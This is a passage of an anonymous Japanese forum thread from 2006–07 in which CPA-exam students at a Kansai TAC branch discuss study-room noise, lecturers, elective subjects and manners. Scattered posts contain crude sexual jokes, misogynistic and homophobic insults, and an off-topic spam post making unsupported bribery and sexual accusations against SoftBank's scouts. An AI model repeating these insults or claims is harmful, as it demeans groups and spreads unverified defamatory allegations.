会計士・税理士・その他志望の人達が通学しやすいように、
交通の便からどうしてもあのような立地になっているわけで。
その恩恵を受けている以上、多少の騒音は我慢しよーぜ。
どうしても嫌ならDVD・WEB等がある。


419 :一般に公正妥当と認められた名無しさん:2006/12/13(水) 22:44:29 ID:???
>>415
騒音にすこしくらい慣れておいたほうがいいんじゃない?
本試験では意外な伏兵がいたりする・・・。
ずーっとぶつぶつ言ってる奴が短答のときにもいたし、
論文のときはそいつが目の前にいた。

420 :一般に公正妥当と認められた名無しさん:2006/12/13(水) 23:40:31 ID:???
香水の臭いかなんだかわからんが、
控えめに頼む

421 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 00:32:08 ID:???
騒音を気にする人と気にしない人の比率ってどれぐらいなんですかね?
私は電卓を隣でどれだけ豪打されても全然平気です。
これは特殊なのでしょうか?


422 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 00:37:19 ID:???
マジで運営の男で香水臭いやつ、どうにかして欲しい

423 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 00:55:53 ID:???
俺は騒音は気にならないけど、
人が近くを通ると気になる。

424 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 01:26:10 ID:???
自習してるとたまにとなりの教室で授業やってるときあるやん。
あれがちょっと気になる。

425 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 02:43:50 ID:???
つか騒音に関しては耳栓で全部解決
本試験でも認められてるしね
つか、おれの場合、自分のたてる物音が周りの迷惑になってないか心配になるから、周りの人も耳栓してると安心する

426 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 03:52:09 ID:???
電卓の音からわかるんだが、明らかに意味のない数字を連打してる奴がたまにいるな。
同じ自習室内の早打君に対抗してるのか知らんが、さすがに無意味な騒音は勘弁。

427 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 12:14:28 ID:???
↓これ本当かよ?
http://school5.2ch.net/test/read.cgi/exam/1164114963/751

428 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 14:00:09 ID:???
このスレは消費され次第、本スレと統廃合されるので宜しく。

429 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 17:37:14 ID:???
>>427
個人的にはけっこう可能性があると思ってる。
あべちゃんも、結構前から、自分がここが出ると予想すると
それが回避されるからあえていわないとかいってるし。
今に始まったことじゃないのかもね。

430 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 20:09:57 ID:???
>>427
その可能性は高いと思う。
あきらかに今年の問題は予備校はずしを狙ったもの。
本社工場なんて普通ださないよ。
特にTACは最大手だし、もし来年はずされるようなら、いよいよ
信憑性が増す。
だから、俺は、変にTACの予想とかに偏らないように気をつける。

431 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 22:47:11 ID:???
ヒント:AXLのホームページに某国会議員のHPへのリンクがあること

432 :一般に公正妥当と認められた名無しさん:2006/12/14(木) 23:01:31 ID:???
>>431
捕まらないといいね。

433 :一般に公正妥当と認められた名無しさん:2006/12/16(土) 22:03:58 ID:???
>>430
 なるほど。だから財表のテキストはあんなに分厚くなったのかー

434 :一般に公正妥当と認められた名無しさん:2006/12/16(土) 22:37:50 ID:???
財表テキストは犯罪的だよね。

435 :一般に公正妥当と認められた名無しさん:2006/12/17(日) 00:50:15 ID:???
財表のテキスト、講義で消化するの明らかに無理あるよな・・・

436 :一般に公正妥当と認められた名無しさん:2006/12/17(日) 01:23:23 ID:???
「参考」とかから出題されても、的中とか言い出すんだろうな。
1回目ではそこまで手が回らんと思うが。

437 :一般に公正妥当と認められた名無しさん:2006/12/17(日) 01:56:03 ID:???
まぁ、短答は網羅性が重要だからしょうがないのかもしれんが・・・。

テキストを論文論点と短答論点を分けて
26穴ファイルで閉じれるようにしてほしい。

438 :一般に公正妥当と認められた名無しさん:2006/12/19(火) 23:59:06 ID:???
中原先生は,質問にきちんと対応してくれそうですか?
梅田の市橋先生は,いろいろと激しいことをいうらしいので質問に行けません。

439 :一般に公正妥当と認められた名無しさん:2006/12/20(水) 02:16:22 ID:???
中原センセはめちゃくちゃ丁寧に解答してくれる

440 :一般に公正妥当と認められた名無しさん:2006/12/24(日) 14:29:30 ID:???
ロッカーって今からでも貸し出してもらえんのかな?

441 :一般に公正妥当と認められた名無しさん:2006/12/24(日) 16:58:10 ID:???
小さい方なら大丈夫じゃね?

442 :一般に公正妥当と認められた名無しさん:2006/12/30(土) 16:46:04 ID:GzrFyoYT
過疎

443 :質問:2007/01/02(火) 10:00:52 ID:+KYZvPR8
簿記基礎マスターの「VTR李」か「池上」どっちがいいですか?あと管理会計の「藤木」と「近藤」はどう?

444 :一般に公正妥当と認められた名無しさん:2007/01/02(火) 11:21:32 ID:???
どっちも良いけど、どちらかと言うと池上。管理は藤木の方が断然良い。

445 :一般に公正妥当と認められた名無しさん:2007/01/02(火) 20:43:16 ID:???
>>443
池上>>>李
圧倒的に池上先生のほうがいいです。話がとてもおもしろいです。質問にも行きやすいです。かなり受講生の名前を覚えているようなのでミニテスト、実力テストはきちんと高得点をとっておきましょう。

藤木>>>近藤
上級の受講生の比率がすべてを物語っています。ただ、上級の授業は、かなりとばしまくるので入門基礎マスターの内容をきちんとやっておくのが大事です。

446 :一般に公正妥当と認められた名無しさん:2007/01/02(火) 21:07:45 ID:???
簿記は中原じゃないの?

447 :質問:2007/01/03(水) 19:03:48 ID:c5BSRJrx
ありがとう。実際VTRってどうなんですか?池上は夜の講義なので悩むなぁ・・。

448 :一般に公正妥当と認められた名無しさん:2007/01/03(水) 22:35:05 ID:???
Vよりは池上先生のほうがずっと面白かった。
夜でも別に構わないんじゃないでしょうか。
夜の講義だったらミニテストの対策はばっちりできそうだし。



449 :一般に公正妥当と認められた名無しさん:2007/01/03(水) 23:10:52 ID:???
簿記だったら生講義もVTRも大して変わらないよ。
出席しやすい方で選んでもぜんぜん問題ないと思う。

450 :一般に公正妥当と認められた名無しさん:2007/01/03(水) 23:16:57 ID:???
勃起だったら生とVでは大違いだけどな

451 :一般に公正妥当と認められた名無しさん:2007/01/03(水) 23:19:05 ID:???
しのぶたんかわいいよね

452 :質問:2007/01/04(木) 11:43:54 ID:nSLYoiIO
しのぶたんて誰?実際、統計学ってどうなん?無難に経済学にしとくべき?

453 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 12:21:46 ID:???
無難がいいなら、経営学にしとけ。

454 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 12:29:41 ID:???
しのぶたんというのは、かつて3人いたしのぶ先生のこと。昔は、寺戸しのぶ、長渡しのぶ、池上しのぶと3人いたが、そのうち、池上しのぶが生き残った。ほかのしのぶたんとは大違いのずば抜けた生命力で生存競争を勝ち抜いたのです。

選択科目は、統計も経済も少数派。圧倒的に(99%以上)経営が多数派。統計や経済をとると、講義はすべてビデオブースで答練は教室受験できません。


455 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 12:33:35 ID:???
無難がいいなら経営。ただし、学習範囲は無限大で、講義も多い。学習の負担が少ないのは民法だが、選択者は少ない。

456 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 13:15:34 ID:???
最終的には偏差値換算されるから、数学ヲタなんかがひしめいてる
経営・統計はよっぽど自信がない限り避るが吉。
「般教の統計で優が取れたから」なんて変な自信を持った勢いでは選ばん方が良い。

457 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 13:16:36 ID:???
↑間違えた
×経営・統計
○経済・統計

458 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 13:28:38 ID:???
>>454
さすがに経営学が99%以上ってことはないが、
統計・経済・民法合わせて10%ってとこじゃないか。

統計学と経済学は系統だっているので、
勉強しやすいといえばしやすい。
民法は知らん。

459 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 13:50:33 ID:???
>>454
おい、後ろ2人は同一人物だぞw
寺戸先生は俺が学生時代にここの講座説明会に来たときその担当だった。まだ前のビルにあった頃な。めちゃ若い先生だったのを覚えている。

460 :質問:2007/01/04(木) 14:58:24 ID:Z62AiVg3
08年目標で勉強スタートするんだけど、今年の試験も雰囲気味わいのため受験すべきっすか?ってか、京都TACと梅田TACならどっちがいい?

461 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 15:16:15 ID:???
知らない女と何度か目が合ってしまった。
何かそれ以降警戒されてる気がする。
きっと俺のことをじろじろ見てくるキモイ奴って思ってるんだろうな。
たぶん友達にもそういう風に話してるんだろうな。
もう俺は関西の会計士業界では生きていけない・・・。

462 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 15:41:01 ID:???
>>460
金があるなら受験したほうがいい。
京都でも梅田でも難波でも神戸でもどこでもいいよ。

463 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 16:56:05 ID:???
>>461
あ〜あ、その女及びその友人のうち1人でも君と同じ監査法人に入れば、
その人が君の悪い噂を言いふらし、君は社会的に抹殺されるわけだね。
女は陰湿だからね。
もう終わったね。

464 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 17:48:19 ID:???
狭い世界だからな。
監査法人も専門学校の延長

465 :461:2007/01/04(木) 18:31:18 ID:???
やっぱり?
もう関西を出るしかないのか・・・orz

466 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 19:36:49 ID:???
その女がいない法人に行くしかないな

467 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 20:24:19 ID:???
別に本当はまともな人間なんなら大して影響ないだろ。
まともに振舞ってりゃいいだけの話。
本当にキモイ人間ならどうしようもないが。

468 :一般に公正妥当と認められた名無しさん:2007/01/04(木) 20:58:43 ID:???
寺戸しのぶと池上しのぶが同一だという説もある。

469 :質問:2007/01/06(土) 15:53:51 ID:ggaPEqpF
08年目標の講座の選択科目の変更ってできますよね?ちなみに申し込んだだけでまだ始まってもいないので・・・。

470 :一般に公正妥当と認められた名無しさん:2007/01/06(土) 16:35:07 ID:???
>>469
できるはずだけど、そういうのは受付に聞くのがいいよ。

471 :一般に公正妥当と認められた名無しさん:2007/01/06(土) 21:14:55 ID:???
>>469
おそらく、今までの流れからいって、経済・統計から経営への変更だと思いますが。

経営への変更は、上級に入ってからでも遅くないでしょう。それに入門の経営はとても分量が少ないし、財表の塚本先生は、経営のレジュメを配りに来ますから(経営選択しなくてももらえる)、それで十分に対応できます。
せっかく経済か統計をとっているのなら入門くらいは経済・統計を聞いておくのも悪くないと思います。

ちなみに、上級の経営は分量が多く範囲が無限大なのでとても大変です。

472 :一般に公正妥当と認められた名無しさん:2007/01/07(日) 11:36:30 ID:???
俺は変えるなら負担の少ない早いうちがいいと思うな。上級から変えるのは精神的にツラいと思う。

473 :質問:2007/01/08(月) 19:25:35 ID:kEoLnUtK
経営・統計にしてるのを、経営・経済にしたいというしょぼい変更なのですが・・。統計よりは経済かなぁーって思いまして。

474 :一般に公正妥当と認められた名無しさん:2007/01/08(月) 20:39:54 ID:???
なぜ2科目??

475 :質問:2007/01/08(月) 23:23:37 ID:VyIZn/n4
入門期は2科目選べますよね?まぁ、最終的には無難に経営にするとは思うんですけど。

476 :一般に公正妥当と認められた名無しさん:2007/01/08(月) 23:43:57 ID:???
経営の上級に入ると、極希に経済の知識が生きたりする。
まあ大学の般教程度の知識で十分だけど。

477 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 01:04:50 ID:???
経営上級では統計学もちょっとだけ関わるよ。

478 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 02:03:24 ID:???
個人的には経済学よりも統計学のほうがいいと思うよ。
そうはいっても、どうせ授業を聞くだけで勉強しないだろうから、
どっちでもいいっちゃどっちでもいいとは思うけど。

479 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 02:06:00 ID:???
渡部がいたら民法をすすめるんだが・・・

480 :名無しさん@おだいじに:2007/01/09(火) 03:48:02 ID:n+mGX2et
会計士受験生のAA



ねぇねぇ、高卒が100人以上短答合格してるのに、大卒専念で落ちるってどんな気持ち?
        ∩___∩                     ∩___∩      
    ♪   | ノ ⌒  ⌒ヽハッ    __ _,, -ー ,,    ハッ   / ⌒  ⌒ 丶| 
        /  (●)  (●)  ハッ   (/   "つ`..,:  ハッ (●)  (●) 丶     どんな気持ち?
       |     ( _●_) ミ    :/ 短答落  :::::i:.   ミ (_●_ )    |        ねぇ、どんな気持ち?
 ___ 彡     |∪| ミ    :i        ─::!,,    ミ、 |∪|    、彡____    
 ヽ___       ヽノ、`\     ヽ.....:::::::::  ::::ij(_::●   / ヽノ     ___/
       /       /ヽ <   r "     .r ミノ~.    〉 /\    丶      
      /      /    ̄   :|::|    ::::| :::i ゚。     ̄♪   \    丶    
     /     /    ♪    :|::|    ::::| :::|:            \   丶     
     (_ ⌒丶...        :` |    ::::| :::|_:           /⌒_)     
      | /ヽ }.          :.,'    ::(  :::}            } ヘ /        
        し  )).         ::i      `.-‐"             J´((
          ソ  トントン                             ソ  トントン




481 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 18:51:17 ID:qxHNGD+L
予備校という閉鎖された空間にいると、
常識に欠ける人間の多さに驚かされる。

1、鼻水をかまずにすすり続ける
 …周りが迷惑している事や、育ちの悪さを露呈している事に
  気づかない。
2、ハンカチも持たずトイレで用を足す
 …申し訳程度に濡らした手でドアノブを平気で触る。
  ここでも、育ちの悪さを露呈していることに気づかず。
3、エレベータへ最初に入ってすぐ奥へ行く
 …最初の人はまずパネルの前で操作するという常識知らず
  マナー、常識の無さを露呈していることに気づかず。
4、電卓を必要以上に強く叩く
 …周囲の迷惑を省みない社会性の無さ、
  人格の欠陥を露呈していることに気づかず。

上記の行動に当てはまる者は、速やかに改善されたし。
見る人がみると、本当に恥ずかしいことを平気で行う神経が理解できない。


482 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 19:02:35 ID:???
5.エレベータのボタンを2つ押す。
・・・その階に早く来るわけでもなく、
他の階の人に迷惑をかけている。

6.3人掛けの机を1人で占領する。
・・・答練のときにそんなことやったって
本番では窮屈な状態なんだから答練の意味が薄れる。

7.トイレットペーパーで手をふく。
・・・トイレットペーパーって水に溶けますよ。

483 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 22:39:17 ID:???
こんなところでグダグダ言ってないで
見つけたときに本人に教えてやれ

484 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 22:50:23 ID:???
しかし実際は
>>481で書かれた様な奴が一発合格し
>>481みたいな奴がいつまでたっても合格しないという現実

485 :一般に公正妥当と認められた名無しさん:2007/01/09(火) 22:57:13 ID:???
つまり監査法人は非常識の巣窟ってわけだ。

486 :名無しさん@おだいじに:2007/01/10(水) 00:27:50 ID:/wr6D1EF
つまり会計士は馬鹿の巣窟ってわけだ。

487 :一般に公正妥当と認められた名無しさん:2007/01/10(水) 00:35:36 ID:???
会計やる奴は根暗なのが多そうだしな

488 :名無しさん@おだいじに:2007/01/10(水) 10:32:49 ID:/wr6D1EF
その上、ホモ、ロリ、デブ専の変態三冠王も多そうだしな

489 :質問:2007/01/10(水) 18:32:10 ID:VmCGlXuv
>>478
なぜ、経済より統計のほうがよろしいのでしょうか??

490 :一般に公正妥当と認められた名無しさん:2007/01/10(水) 19:49:44 ID:???
>>489
学習量が少ないから
半分くらいではないか

491 :一般に公正妥当と認められた名無しさん:2007/01/10(水) 23:06:02 ID:???
>>489
478です。
単純に学習量が少ないからだよ。
あと、経済学(特にミクロ)よりはまだ役立つと思うよ。

492 :質問:2007/01/10(水) 23:17:04 ID:jHG/bqtO
役立つというのは会計士試験においてという意味ですよね?世間一般的ということでしょうか?

493 :一般に公正妥当と認められた名無しさん:2007/01/11(木) 00:13:51 ID:???
統計学は会計士試験の他の科目についてはほとんど関係ないよ。
会計士になってからという意味。
例えば、分析的手続とかでね。

494 :一般に公正妥当と認められた名無しさん:2007/01/11(木) 17:35:34 ID:???
租税法の科目合格者が関西は極端に少なかった。
何故だと思う?

495 :一般に公正妥当と認められた名無しさん:2007/01/11(木) 18:02:59 ID:???
1.受験者のレベルが低かった。
2.関西での採点が厳しかった。
3.単なる採点ミス。
4.その他(具体的に)。

496 :一般に公正妥当と認められた名無しさん:2007/01/11(木) 18:06:51 ID:???
藤木や成瀬が頑張ってるのにな

497 :一般に公正妥当と認められた名無しさん:2007/01/11(木) 23:07:58 ID:???
結局、的外れなことをやり過ぎたのさ

498 :一般に公正妥当と認められた名無しさん:2007/01/12(金) 00:20:41 ID:???
今日からマックでメガマックが発売だな。
早速食いに行こうっと。

499 :一般に公正妥当と認められた名無しさん:2007/01/12(金) 20:49:27 ID:???
経済学は公会計なんかだと関わってくるんかな。

500 :一般に公正妥当と認められた名無しさん:2007/01/12(金) 22:00:47 ID:???
メガマックうまい

501 :一般に公正妥当と認められた名無しさん:2007/01/12(金) 23:11:41 ID:???
よくマクドナルドなんか食えるな。

502 :一般に公正妥当と認められた名無しさん:2007/01/13(土) 10:09:12 ID:???
週5ぐらいでマックなんだが

503 :一般に公正妥当と認められた名無しさん:2007/01/13(土) 10:33:45 ID:???
>>502
早死にしそう。

504 :一般に公正妥当と認められた名無しさん:2007/01/13(土) 17:19:52 ID:DHEBFGb1
>>502
アメリカのドキュメンタリー映画見た方がいいですよw
ファーストフード、インスタントフード、基本的に体に良くないけど
その中でもマックはかなりやばい。

505 :一般に公正妥当と認められた名無しさん:2007/01/13(土) 18:09:51 ID:yy69Am+E
ソフトバンクは姑息なお笑いチーム。アドバンテージ付けてくれ付けてくれと
泣いて頼んだが去年はそのアドバンテージに泣かされました。アドバンテージ
付けても付けなくても所詮は二位止まりのチーム。ソフトバンクは卑怯者ドラ
フト有望選手を囲みまくりスカウトマンは選手の母親を抱き、金を渡し、友人
にまで近づくそうやってソフト便器は有望選手を獲得してきました。そして今
の常勝球団になりました。



506 :一般に公正妥当と認められた名無しさん:2007/01/13(土) 22:07:01 ID:???
京都ではマックなのか?
マクドじゃないの??

507 :一般に公正妥当と認められた名無しさん:2007/01/13(土) 23:22:17 ID:???
京都校は府外がかなり多いと思うよ。
廊下や休憩室で会話してる声は微妙に訛ってるのが多い。

508 :一般に公正妥当と認められた名無しさん:2007/01/14(日) 01:49:56 ID:???
標準語以外だと名古屋が岐阜あたりのなまりをよくきくね。

509 :一般に公正妥当と認められた名無しさん:2007/01/14(日) 02:28:05 ID:???
京大や同志社ならいろんな所から来てるだろう。

510 :一般に公正妥当と認められた名無しさん:2007/01/17(水) 00:11:03 ID:???
成ちゃんが、授業中に
「ブログにアップしとくうんぬんかんぬん」といってたけど、
だれかURL知ってる人いない?
検索しても見つからない・・・。

511 :一般に公正妥当と認められた名無しさん:2007/01/17(水) 18:03:49 ID:???
ここの受け付けの女に超爆乳の子っている??
情報入ったんだが。

512 :一般に公正妥当と認められた名無しさん:2007/01/18(木) 01:02:47 ID:???
とりあえず>>510はもそっとちゃんと人の話を聞くように

513 :一般に公正妥当と認められた名無しさん:2007/01/18(木) 12:02:22 ID:???
>>511
知るかハゲ!

514 :太陽:2007/01/19(金) 00:18:07 ID:SYS2SsPL
>>511
その情報源に確かめろ。ちなみに爆乳=デブがかなりの確率で成立することをお忘れなく。

119 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)